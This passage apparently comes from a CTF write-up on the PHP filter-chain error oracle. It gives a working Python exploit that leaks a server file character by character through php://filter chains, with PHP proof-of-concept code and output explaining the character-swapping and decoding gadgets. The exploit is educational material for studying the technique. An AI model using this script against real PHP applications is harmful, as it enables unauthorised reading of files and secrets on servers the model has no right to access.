elif equal_detector[1] == False:
HEADER = f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KRconvert.base64-encode'
elif equal_detector[2] == False:
HEADER = f'convert.base64-encode|convert.base64-encode'
else:
err('[-] Something went wrong.')
pr_debug(f"[+] Adjusted HEADER to make sure == appended: {HEADER}")
"""
# Phase 2:
At this stage, our string takes the form:
[a-zA-Z0-9 things]==
Now, the real challenge begins: How do we access arbitrary characters using php fitlers?
# SWAP CHARS
A direct way to peel characters off the front would BE ideal, but after extensive testing,
no such filter was found. However, certain filters SWAP characters in predictable ways,
allowing controlled character access. We leverage 2 key filters to manipulate character
positions:
- convert.iconv.CSUNICODE.UCS-2BE (R2 gadget):
Swaps every adjacent character pair:
abcdefgh → badcfehg
- convert.iconv.UCS-4LE.10646-1:1993 (R4 gadget):
Reverses every group of four characters:
abcdefgh → dcbahgfe
> These transformations give us access to the first four characters of the string.
But we need more.
- convert.iconv.CSUNICODE.CSUNICODE:
Prepends \xff\xfe to the string:
abcdefgh → \xff\xfeabcdefgh
Using this alongside the R4 gadget, we get:
ba\xfe\xfffedc
> This disrupts the structure, but we can repair the corruption with a clever trick.
# BYTE ALIGNMENT
The R4 gadget (convert.iconv.UCS-4LE.10646-1:1993) requires the string length to
BE a multiple of 4, but our Unicode injection breaks this requirement
(convert.iconv.CSUNICODE.CSUNICODE filter makes two more chars than 4x). This is
where the double equals we required in step 1 comes in! Here's where
the == padding we enforced in Step 1 becomes crucial:
convert.quoted-printable-encode | convert.quoted-printable-encode | convert.iconv.L1.utf7
| convert.iconv.L1.utf7 | convert.iconv.L1.utf7 | convert.iconv.L1.utf7
By applying this, we transform == into:
+---AD0-3D3D+---AD0-3D3D
This realigns the string length to a multiple of 4, allowing the R4 gadget to work.
# RECAP
Starting with:
abcdefghij==
Apply convert.quoted-printable-encode + convert.iconv.L1.utf7
abcdefghij+---AD0-3D3D+---AD0-3D3D
Apply R2 (convert.iconv.CSUNICODE.CSUNICODE)
\xff\xfeabcdefghij+---AD0-3D3D+---AD0-3D3D
Apply R4 (swap chunks of 4)
ba\xfe\xfffedcjihg---+-0DAD3D3---+-0DAD3D3
Apply base64-decode | base64-encode
bafedcjihg+0DAD3D3+0DAD3Dw==
Apply R4 again
efabijcd0+gh3DAD0+3D3DAD==wD
At this point, we have extracted characters beyond the first four.
# INSIGHT
- The string still has == at the end, meaning we can repeat the process indefinitely
- Each cycle brings new characters to the front, allowing a full extraction of the string (our flag).
PoC for Phase 2:
https://github.com/4xura/php_filter_chain_oracle_poc/blob/main/filters_playaround/p2_swap_chars.php
"""
FLIP = "convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.CSUNICODE.CSUNICODE|convert.iconv.UCS-4LE.10646-1:1993|convert.base64-decode|convert.base64-encode"
R2 = "convert.iconv.CSUNICODE.UCS-2BE"
R4 = "convert.iconv.UCS-4LE.10646-1:1993"
def get_nth(n):
global FLIP, R2, R4
o = []
chunk = n // 2
if chunk % 2 == 1: o.append(R4)
o.extend([FLIP, R4] * (chunk // 2))
if (n % 2 == 1) ^ (chunk % 2 == 1): o.append(R2)
return join(*o)
"""
# Step 3: DECODING
Now that we have a method to extract arbitrary characters, our next challenge is identifying them.
## Using dechunk for Hex Characters
The dechunk filter provides a simple oracle to determine whether the first character is `0-9A-Fa-f`.
- If applying dechunk wipes the string, the first character is hex.
- If the string remains intact, the first character is not hex.
## Using Known Filter Chains for Letters
Since dechunk only confirms whether a character is hex or not, we need additional filters
to identify specific values. There're a lot filters we can use here:
- ROT1 (convert.iconv.437.CP930) shifts each character by 1 in the given encoding.
- Example:
abcdef → bcdefg
XYZ123 → YZA234
- convert.iconv.CSASCII.CSUNICODE (ASCII to Unicode transformation) Expands each ASCII character
into two bytes (UTF-16 representation).
- Example:
A → \x00A
B → \x00B
1 → \x001
- convert.iconv.L1.UCS-2BE (Latin-1 to UCS-2BE) Expands characters and swaps adjacent bytes.
- Example:
ABCD → BADC
- ...
Then we use the trick introduced in Phase 2 to normalize encoded output for later manipulations:
convert.quoted-printable-encode|convert.iconv..UTF7|convert.base64-decode|convert.base64-encode
## Extracting Numbers (0-9)
Numbers are more difficult because most iconv transformations don't modify them.
In a CTF setting, brute-forcing or guessing the numbers once we have the letters is easy.
However, in REAL-LIFE scenario, we can encode the string a third time in Base64. Because,
A third Base64 encoding produces a consistent two-character prefix. Since Base64 operates
in fixed chunks, this prefix uniquely corresponds to each number. By mapping these prefixes,
we can systematically extract numeric values without guessing.
"""
# Here we use ROT1 to shift chars
ROT1 = 'convert.iconv.437.CP930'
# Method to format strings introduced in Phase 1 for later manipulation
BE = 'convert.quoted-printable-encode|convert.iconv..UTF7|convert.base64-decode|convert.base64-encode'
def find_letter(prefix):
if not req(f'{prefix}|dechunk|{BLOW_UP_INF}'):
# a-f A-F 0-9
if not req(f'{prefix}|{ROT1}|dechunk|{BLOW_UP_INF}'):
# a-e
for n in range(5):
if req(f'{prefix}|' + f'{ROT1}|{BE}|'*(n+1) + f'{ROT1}|dechunk|{BLOW_UP_INF}'):
return 'edcba'[n]
break
else:
err('something wrong')
elif not req(f'{prefix}|string.tolower|{ROT1}|dechunk|{BLOW_UP_INF}'):
# A-E
for n in range(5):
if req(f'{prefix}|string.tolower|' + f'{ROT1}|{BE}|'*(n+1) + f'{ROT1}|dechunk|{BLOW_UP_INF}'):
return 'EDCBA'[n]
break
else:
err('something wrong')
elif not req(f'{prefix}|convert.iconv.CSISO5427CYRILLIC.855|dechunk|{BLOW_UP_INF}'):
return '*'
elif not req(f'{prefix}|convert.iconv.CP1390.CSIBM932|dechunk|{BLOW_UP_INF}'):
# f
return 'f'
elif not req(f'{prefix}|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{BLOW_UP_INF}'):
# F
return 'F'
else:
err('something wrong')
elif not req(f'{prefix}|string.rot13|dechunk|{BLOW_UP_INF}'):
# n-s N-S
if not req(f'{prefix}|string.rot13|{ROT1}|dechunk|{BLOW_UP_INF}'):
# n-r
for n in range(5):
if req(f'{prefix}|string.rot13|' + f'{ROT1}|{BE}|'*(n+1) + f'{ROT1}|dechunk|{BLOW_UP_INF}'):
return 'rqpon'[n]
break
else:
err('something wrong')
elif not req(f'{prefix}|string.rot13|string.tolower|{ROT1}|dechunk|{BLOW_UP_INF}'):
# N-R
for n in range(5):
if req(f'{prefix}|string.rot13|string.tolower|' + f'{ROT1}|{BE}|'*(n+1) + f'{ROT1}|dechunk|{BLOW_UP_INF}'):
return 'RQPON'[n]
break
else:
err('something wrong')
elif not req(f'{prefix}|string.rot13|convert.iconv.CP1390.CSIBM932|dechunk|{BLOW_UP_INF}'):
# s
return 's'
elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{BLOW_UP_INF}'):
# S
return 'S'
else:
err('something wrong')
elif not req(f'{prefix}|{ROT1}|string.rot13|dechunk|{BLOW_UP_INF}'):
# i j k
if req(f'{prefix}|{ROT1}|string.rot13|{BE}|{ROT1}|dechunk|{BLOW_UP_INF}'):
return 'k'
elif req(f'{prefix}|{ROT1}|string.rot13|{BE}|{ROT1}|{BE}|{ROT1}|dechunk|{BLOW_UP_INF}'):
return 'j'
elif req(f'{prefix}|{ROT1}|string.rot13|{BE}|{ROT1}|{BE}|{ROT1}|{BE}|{ROT1}|dechunk|{BLOW_UP_INF}'):
return 'i'
else:
err('something wrong')
elif not req(f'{prefix}|string.tolower|{ROT1}|string.rot13|dechunk|{BLOW_UP_INF}'):
# I J K
if req(f'{prefix}|string.tolower|{ROT1}|string.rot13|{BE}|{ROT1}|dechunk|{BLOW_UP_INF}'):
return 'K'
elif req(f'{prefix}|string.tolower|{ROT1}|string.rot13|{BE}|{ROT1}|{BE}|{ROT1}|dechunk|{BLOW_UP_INF}'):
return 'J'
elif req(f'{prefix}|string.tolower|{ROT1}|string.rot13|{BE}|{ROT1}|{BE}|{ROT1}|{BE}|{ROT1}|dechunk|{BLOW_UP_INF}'):
return 'I'
else:
err('something wrong')
elif not req(f'{prefix}|string.rot13|{ROT1}|string.rot13|dechunk|{BLOW_UP_INF}'):
# v w x
if req(f'{prefix}|string.rot13|{ROT1}|string.rot13|{BE}|{ROT1}|dechunk|{BLOW_UP_INF}'):
return 'x'
elif req(f'{prefix}|string.rot13|{ROT1}|string.rot13|{BE}|{ROT1}|{BE}|{ROT1}|dechunk|{BLOW_UP_INF}'):
return 'w'
elif req(f'{prefix}|string.rot13|{ROT1}|string.rot13|{BE}|{ROT1}|{BE}|{ROT1}|{BE}|{ROT1}|dechunk|{BLOW_UP_INF}'):
return 'v'
else:
err('something wrong')
elif not req(f'{prefix}|string.tolower|string.rot13|{ROT1}|string.rot13|dechunk|{BLOW_UP_INF}'):
# V W X
if req(f'{prefix}|string.tolower|string.rot13|{ROT1}|string.rot13|{BE}|{ROT1}|dechunk|{BLOW_UP_INF}'):
return 'X'
elif req(f'{prefix}|string.tolower|string.rot13|{ROT1}|string.rot13|{BE}|{ROT1}|{BE}|{ROT1}|dechunk|{BLOW_UP_INF}'):
return 'W'
elif req(f'{prefix}|string.tolower|string.rot13|{ROT1}|string.rot13|{BE}|{ROT1}|{BE}|{ROT1}|{BE}|{ROT1}|dechunk|{BLOW_UP_INF}'):
return 'V'
else:
err('something wrong')
elif not req(f'{prefix}|convert.iconv.CP285.CP280|string.rot13|dechunk|{BLOW_UP_INF}'):
# Z
return 'Z'
elif not req(f'{prefix}|string.toupper|convert.iconv.CP285.CP280|string.rot13|dechunk|{BLOW_UP_INF}'):
# z
return 'z'
elif not req(f'{prefix}|string.rot13|convert.iconv.CP285.CP280|string.rot13|dechunk|{BLOW_UP_INF}'):
# M
return 'M'
elif not req(f'{prefix}|string.rot13|string.toupper|convert.iconv.CP285.CP280|string.rot13|dechunk|{BLOW_UP_INF}'):
# m
return 'm'
elif not req(f'{prefix}|convert.iconv.CP273.CP1122|string.rot13|dechunk|{BLOW_UP_INF}'):
# y
return 'y'
elif not req(f'{prefix}|string.tolower|convert.iconv.CP273.CP1122|string.rot13|dechunk|{BLOW_UP_INF}'):
# Y
return 'Y'
elif not req(f'{prefix}|string.rot13|convert.iconv.CP273.CP1122|string.rot13|dechunk|{BLOW_UP_INF}'):
# l
return 'l'
elif not req(f'{prefix}|string.tolower|string.rot13|convert.iconv.CP273.CP1122|string.rot13|dechunk|{BLOW_UP_INF}'):
# L
return 'L'
elif not req(f'{prefix}|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{BLOW_UP_INF}'):
# h
return 'h'
elif not req(f'{prefix}|string.tolower|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{BLOW_UP_INF}'):
# H
return 'H'
elif not req(f'{prefix}|string.rot13|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{BLOW_UP_INF}'):
# u
return 'u'
elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{BLOW_UP_INF}'):
# U
return 'U'
elif not req(f'{prefix}|convert.iconv.CP1390.CSIBM932|dechunk|{BLOW_UP_INF}'):
# g
return 'g'
elif not req(f'{prefix}|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{BLOW_UP_INF}'):
# G
return 'G'
elif not req(f'{prefix}|string.rot13|convert.iconv.CP1390.CSIBM932|dechunk|{BLOW_UP_INF}'):
# t
return 't'
elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{BLOW_UP_INF}'):
# T
return 'T'
else:
err('[-] Something wrong finding letters.')
# Store output string
o = ''
""" Brute force the string for 100 chars """
for i in range(100):
prefix = f'{HEADER}|{get_nth(i)}'
letter = find_letter(prefix)
# It's a number
if letter == '*':
prefix = f'{HEADER}|{get_nth(i)}|convert.base64-encode'
s = find_letter(prefix)
if s == 'M':
# 0 - 3
prefix = f'{HEADER}|{get_nth(i)}|convert.base64-encode|{R2}'
ss = find_letter(prefix)
if ss in 'CDEFGH':
letter = '0'
elif ss in 'STUVWX':
letter = '1'
elif ss in 'ijklmn':
letter = '2'
elif ss in 'yz*':
letter = '3'
else:
err(f'Bad number: {ss}')
elif s == 'N':
# 4 - 7
prefix = f'{HEADER}|{get_nth(i)}|convert.base64-encode|{R2}'
ss = find_letter(prefix)
if ss in 'CDEFGH':
letter = '4'
elif ss in 'STUVWX':
letter = '5'
elif ss in 'ijklmn':
letter = '6'
elif ss in 'yz*':
letter = '7'
else:
err(f'Bad number: {ss}')
elif s == 'O':
# 8 - 9
prefix = f'{HEADER}|{get_nth(i)}|convert.base64-encode|{R2}'
ss = find_letter(prefix)
if ss in 'CDEFGH':
letter = '8'
elif ss in 'STUVWX':
letter = '9'
else:
err(f'Bad number: {ss}')
else:
err('wtf')
print("[*] Decoded characters:")
print(end=letter)
o += letter
sys.stdout.flush()
print()
"""
We are done!!!
"""
d = base64.b64decode(o.encode() + b'=' * (-len(o) % 4)) # Auto-adjust padding
pr_debug(d) # e.g.: b'\x1b$)Cd2RmbGFne2IyNzk0NWIyLWUzZjAt...'
"""
Remove KR padding added by the CSISO2022KR encoding.
When using PHP filter chains, the convert.iconv..CSISO2022KR transformation
adds padding characters (often $)C in binary form).
Therefore, remove this artifacts to decode safely.
Alter the logic of decoding for a different scenario
"""
d = d.replace(b'\x1b$)C', b'').split(b'\t')[0] # Ensure correct bytes format
d = base64.b64decode(d + b'=' * (-len(d) % 4))
print(f"[!] Flag: {d}")
PHP Filter Chains
PoC For Phase 1
Download address: link
<?php
$flag = "FLAG{secret_data}";
// Step 1: Double Base64 Encoding
$base64_once = base64_encode($flag);
$base64_twice = base64_encode($base64_once);
echo "Double Base64: $base64_twice\n";
// Step 2: Check if Ends with '=='
if (substr($base64_twice, -2) !== "==") {
echo "Padding is incorrect, adding junk characters...\n";
// Step 3: Add junk characters using iconv
$junk = iconv("UTF-8", "CSISO2022KR", "XXXX") . $flag;
$base64_once = base64_encode($junk);
$base64_twice = base64_encode($base64_once);
echo "Modified Double Base64: $base64_twice\n";
}
// Step 4: Apply convert.quoted-printable-encode
$quoted_encoded = quoted_printable_encode($base64_twice);
echo "Quoted-printable Encoded: $quoted_encoded\n";
?>
Output:
Double Base64: Umt4QlIzdHpaV055WlhSZlpHRjBZWDA9
Padding is incorrect, adding junk characters...
Modified Double Base64: V0ZoWVdFWk1RVWQ3YzJWamNtVjBYMlJoZEdGOQ==
Quoted-printable Encoded: V0ZoWVdFWk1RVWQ3YzJWamNtVjBYMlJoZEdGOQ=3D=3D
PoC For Phase 2
Download address: link
<?php
function debug_output($step, $data, $raw_hex = false) {
echo "[$step]: ";
if ($raw_hex) {
echo bin2hex($data) . PHP_EOL;
} else {
echo $data . PHP_EOL;
}
}
function to_byte_format($data) {
$result = '';
for ($i = 0; $i < strlen($data); $i++) {
$char = $data[$i];
$ascii = ord($char);
// If ASCII is printable, keep it, otherwise show as hex
if ($ascii >= 32 && $ascii <= 126) {
$result .= $char;
} else {
$result .= sprintf("\\x%02x", $ascii);
}
}
return $result;
}
// Step 1: Start with an assumed double base64-encoded string
$input = "abcdefghij==";
debug_output("Step 1 - Initial Formatted String", $input);
// Step 2: Byte alignment (convert.quoted-printable-encode + convert.iconv.L1.utf7)
$temp1 = quoted_printable_encode($input);
debug_output("Step 2.1 - Quoted-Printable Encode 1", $temp1);
$temp2 = quoted_printable_encode($temp1);
debug_output("Step 2.2 - Quoted-Printable Encode 2", $temp2);
$temp3 = iconv("UTF-8", "UTF-7", $temp2);
debug_output("Step 2.3 - UTF-7 Encode 1", $temp3);
$temp4 = iconv("UTF-8", "UTF-7", $temp3);
debug_output("Step 2.4 - UTF-7 Encode 2", $temp4);
$temp5 = iconv("UTF-8", "UTF-7", $temp4);
debug_output("Step 2.5 - UTF-7 Encode 3", $temp5);
$alighned = iconv("UTF-8", "UTF-7", $temp5);
debug_output("Step 2.6 - UTF-7 Encode 4", $alighned);
// Step 3: Apply R2 (convert.iconv.CSUNICODE.CSUNICODE)
$r2 = iconv("CSUNICODE", "CSUNICODE", $alighned);
debug_output("Step 3 - R2 should append <0xff><0xfe> (fffe in hex) for", $alighned);
debug_output("Step 3 - The HEX Pre-R2 input (Before applying CSUNICODE)", $alighned, true);
debug_output("Step 3 - CSUNICODE applied (expect <0xff><0xfe>)", $r2, true);
$formatted = to_byte_format($r2);
debug_output("Step 3 - CSUNICODE applied (Formatted Byte Output)", $formatted);
// Step 4: Apply R4 (UCS-4LE.10646-1:1993) - Swap every 4 bytes
$r4 = iconv("UCS-4LE", "10646-1:1993", $r2);
debug_output("Step 4 - R4 should swap chunks of 4 for", $formatted);
debug_output("Step 4 - The HEX Pre-R4 input (Before applying UCS-4LE.10646-1:1993)", $r2);
debug_output("Step 4 - R4 Applied", $r4, true);
$formatted = to_byte_format($r4);
debug_output("Step 4 - 10646-1:1993 Applied (Formatted Byte Output)", $formatted);
// Step 5: Apply Base64-decode and encode
$b64_decode = base64_decode($r4);
$b64_encode = base64_encode($b64_decode);
debug_output("Step 5 - Base64 Decode+Encode to recover string format", $b64_encode);
// Step 6: Apply R4 again
$r4_again = iconv("UCS-4LE", "10646-1:1993", $b64_encode);
debug_output("Step 6 - R4 should swap chunks of 4 for", $b64_encode);
debug_output("Step 6 - R4 Applied", $r4_again);
echo("\n[+] At this point, we have extracted characters beyond the first four.")
?>
Output:
[Step 1 - Initial Formatted String]: abcdefghij==
[Step 2.1 - Quoted-Printable Encode 1]: abcdefghij=3D=3D
[Step 2.2 - Quoted-Printable Encode 2]: abcdefghij=3D3D=3D3D
[Step 2.3 - UTF-7 Encode 1]: abcdefghij+AD0-3D3D+AD0-3D3D
[Step 2.4 - UTF-7 Encode 2]: abcdefghij+-AD0-3D3D+-AD0-3D3D
[Step 2.5 - UTF-7 Encode 3]: abcdefghij+--AD0-3D3D+--AD0-3D3D
[Step 2.6 - UTF-7 Encode 4]: abcdefghij+---AD0-3D3D+---AD0-3D3D
[Step 3 - R2 should append <0xff><0xfe> (fffe in hex) for]: abcdefghij+---AD0-3D3D+---AD0-3D3D
[Step 3 - The HEX Pre-R2 input (Before applying CSUNICODE)]: 6162636465666768696a2b2d2d2d4144302d334433442b2d2d2d4144302d33443344
[Step 3 - CSUNICODE applied (expect <0xff><0xfe>)]: fffe6162636465666768696a2b2d2d2d4144302d334433442b2d2d2d4144302d33443344
[Step 3 - CSUNICODE applied (Formatted Byte Output)]: \xff\xfeabcdefghij+---AD0-3D3D+---AD0-3D3D
[Step 4 - R4 should swap chunks of 4 for]: \xff\xfeabcdefghij+---AD0-3D3D+---AD0-3D3D
[Step 4 - The HEX Pre-R4 input (Before applying UCS-4LE.10646-1:1993)]: abcdefghij+---AD0-3D3D+---AD0-3D3D
[Step 4 - R4 Applied]: 6261feff666564636a6968672d2d2d2b2d304441443344332d2d2d2b2d30444144334433
[Step 4 - 10646-1:1993 Applied (Formatted Byte Output)]: ba\xfe\xfffedcjihg---+-0DAD3D3---+-0DAD3D3
[Step 5 - Base64 Decode+Encode to recover string format]: bafedcjihg+0DAD3D3+0DAD3Dw==
[Step 6 - R4 should swap chunks of 4 for]: bafedcjihg+0DAD3D3+0DAD3Dw==
[Step 6 - R4 Applied]: efabijcd0+gh3DAD0+3D3DAD==wD
[+] At this point, we have extracted characters beyond the first four.
Comments | NOTHING